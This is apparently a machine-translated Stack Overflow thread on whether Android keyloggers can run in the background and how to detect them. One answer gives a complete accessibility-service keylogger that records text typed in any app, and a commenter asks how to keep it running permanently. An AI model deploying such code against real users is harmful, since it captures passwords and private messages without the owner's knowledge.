Регистратор ключей Android

Введение: я хочу создать POC на Android Security, который требует определить, работает ли какой-либо KeyLogger на устройстве Android или нет. И если он запущен или установлен на устройстве, отключите его во всем моем приложении для Android.

Запросы:

1.) Возможно ли создать кейлоггеры Android, которые перехватывают события клавиатуры и работают в фоновом режиме в качестве служб?

2.) Можно ли определить, обрабатывает ли какой-либо фоновый процесс события клавиатуры?

3.) Могу ли я остановить любую другую фоновую службу (не принадлежащую мне) с помощью кода моего приложения?

Пожалуйста, помогите мне с подходящими ссылками, если у вас есть.


person Avtar Guleria    schedule 02.12.2014    source источник
comment
Ты нашел свой ответ?   -  person    schedule 21.10.2016
comment
Да, я обновил свой вывод как принятый ответ, пожалуйста, просмотрите его.   -  person Avtar Guleria    schedule 22.10.2016


Ответы (3)


Я знаю, что на этот вопрос уже есть принятый ответ, но я не согласен с принятым ответом!
Это можно сделать в Android с помощью специальных API.
Взгляните на приведенную ниже программу:

Тип машины

Он использует API специальных возможностей и правильно сохраняет каждое нажатие клавиши, которое вы набираете в любом приложении, что, по сути, делает кейлоггер! службу с помощью этого метода. Например, для получения нового текста можно использовать следующий код:

void onViewTextChanged(AccessibilityEvent accessibilityEvent, AccessibilityNodeInfo accessibilityNodeInfo) {
     List text = accessibilityEvent.getText();
     CharSequence latestText = (CharSequence) text.get(0);
     Log.i(MY_TAG, latestText.toString());
}
person ananth    schedule 17.01.2015
comment
плюс 1 за упоминание типа машины, но как это реализовать? Есть примеры с кодом? - person ; 21.10.2016
comment
@ 14bce109: я отредактировал свой ответ, включив в него пример кода. - person ananth; 23.10.2016

В качестве дополнения к ответу @ananth приведен полный пример кода о том, как реализовать кейлоггер с помощью службы специальных возможностей. .

Но для этого требуются разрешения для привязки вашей службы к системе, а также пользователь должен явно включить созданную вами службу, перейдя в Настройки>Специальные возможности>{ Название вашего приложения на устройствах Android. Так что, если у вас злые намерения, удачи в этом.

Шаг 1: Вставьте это в свой файл манифеста.

<application>
...
<service android:name=".MyAccessibilityService"
            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
            <intent-filter>
                <action android:name="android.accessibilityservice.AccessibilityService" />
            </intent-filter>
</service>
</application>

Шаг 2. Создайте класс для службы специальных возможностей.

public class MyAccessibilityService extends AccessibilityService {
    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        final int eventType = event.getEventType();
        String eventText = null;
        switch(eventType) {
            /*
                You can use catch other events like touch and focus

                case AccessibilityEvent.TYPE_VIEW_CLICKED:
                     eventText = "Clicked: ";
                     break;
                case AccessibilityEvent.TYPE_VIEW_FOCUSED:
                     eventText = "Focused: ";
                     break;
            */
            case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
                eventText = "Typed: ";
                break;
        }
        eventText = eventText + event.getText();

        //print the typed text in the console. Or do anything you want here.
        System.out.println("ACCESSIBILITY SERVICE : "+eventText);

    }

    @Override
    public void onInterrupt() {
        //whatever
    }

    @Override
    public void onServiceConnected() {
        //configure our Accessibility service
        AccessibilityServiceInfo info=getServiceInfo();
        info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
        info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
        info.notificationTimeout = 100;
        this.setServiceInfo(info);
    }

}

Вот и все. Теперь все, что пользователь вводит в любом приложении на своем телефоне, будет записываться в консоль. Вы можете настроить вышеуказанный класс для прослушивания нажатий клавиш из определенных указанных приложений, только если вы этого хотите. Приведенный выше класс не зависит от вашей MainActivity. Сервис будет зарегистрирован, как только ваше приложение будет установлено. Но, опять же, для работы требуется ручное переключение настроек, как упоминалось ранее.

Прочтите документацию для получения подробных объяснений того, что такое специальные возможности, и сведений о каждом из классы и методы, использованные выше.

person Nandan Desai    schedule 22.07.2018
comment
Привет @Nandan Desai, я пробовал это, оно работает только тогда, когда разрешение доступа включено в первый раз, после этого onServiceConnected() никогда не вызывается, я также хочу запускать это в фоновом режиме все время, это никогда не должно стоп Пожалуйста, скажите мне, как я могу это сделать Спасибо - person Jeyaseelan; 13.04.2019
comment
@Jeyaseelan Я бы посоветовал вам прочитать документацию по службе специальных возможностей. developer.android.com/reference/android/accessibilityservice/ - person Nandan Desai; 14.04.2019
comment
можешь мне помочь с этим вопросом? stackoverflow.com/questions/67224206 / - person TheWhiteFang; 23.04.2021

После исследования в течение 1 целого дня я пришел к следующему выводу.

Android не позволяет перехватывать ввод программной клавиатуры по умолчанию из фоновых служб. Единственный способ перехватить эти события — использовать специальные клавиатуры.

Я резюмировал это следующим образом:

В Android ведение журнала событий клавиатуры не поддерживается в фоновых службах. Некоторые из ссылок выглядят следующим образом:

Пункт 1. Разработчик Google Android

Поскольку программные методы ввода могут использовать несколько изобретательных способов ввода текста, нет гарантии, что любое нажатие клавиши на программной клавиатуре вызовет событие клавиши: это остается на усмотрение IME, и на самом деле отправка таких событий не рекомендуется. Вы никогда не должны полагаться на получение KeyEvents для любой клавиши в методе мягкого ввода. В частности, программная клавиатура по умолчанию никогда не будет отправлять какие-либо события клавиш любому приложению, предназначенному для Jelly Bean или более поздней версии, и будет отправлять события только для некоторых нажатий клавиш удаления и возврата приложениям, предназначенным для Ice Cream Sandwich или более ранней версии.

http://developer.android.com/reference/android/view/KeyEvent.html

Android Jelly Bean: от 4.1 до 4.3.1 Android IceCream Sandwich: 4.0

Нажатие клавиш на методах мягкого ввода не требуется для запуска методов в этом прослушивателе, и на самом деле это не рекомендуется. Клавиатура Android по умолчанию не будет запускать их для любой клавиши любого приложения, предназначенного для Jelly Bean или более поздней версии, и будет доставлять их только для некоторых нажатий клавиш для приложений, предназначенных для Ice Cream Sandwich или более ранней версии.

http://developer.android.com/reference/android/text/method/KeyListener.html

Пункт 2. Ключевые события переполнения стека могут обрабатываться только действиями, поскольку они являются интерфейсом для пользователя, нажимающего клавиши, и только тогда, когда они находятся на переднем плане. Даже службы, работающие в фоновом режиме, не предназначены для реагирования на действия пользователя.

Android — прослушиватель нажатия жестких клавиш в фоновом режиме

Возможно ли создать службу Android, которая прослушивает нажатия аппаратных клавиш?

Точка 3: Ромен Гай Ромен Гай (https://stackoverflow.com/users/298575/romain-guy), который работает в Google, также подтверждает это onKeyDown в сервисе? (Глобальные горячие клавиши)

Пункт 4. Другая ссылка:

Группа разработчиков Google Android: https://groups.google.com/forum/#!topic/android-developers/o--GUWmqXdI

Это можно сделать только с помощью Custom KeyBoard: нажмите клавишу кинуть другой ключ в андроид

Пожалуйста, добавьте свои комментарии, если вы думаете, что я что-то пропустил.

person Avtar Guleria    schedule 03.12.2014
comment
большое спасибо за эту документацию. Я изучаю что-то похожее и мне интересно, могу ли я ответить на ваши вопросы? Не уверен, что мой адрес электронной почты отображается в моем профиле, но если хотите, напишите мне на cgmckeever ... gmail. Спасибо! - person cgmckeever; 03.01.2015
comment
см. приложение Type machine. По-вашему, если этот идентификатор невозможен, то как он работает? - person ; 22.10.2016
comment
Сейчас у меня не так много времени, чтобы разбираться в этом. Это было мое открытие около 2 лет назад. После этого вы можете просмотреть приложение и опубликовать свое мнение. - person Avtar Guleria; 22.10.2016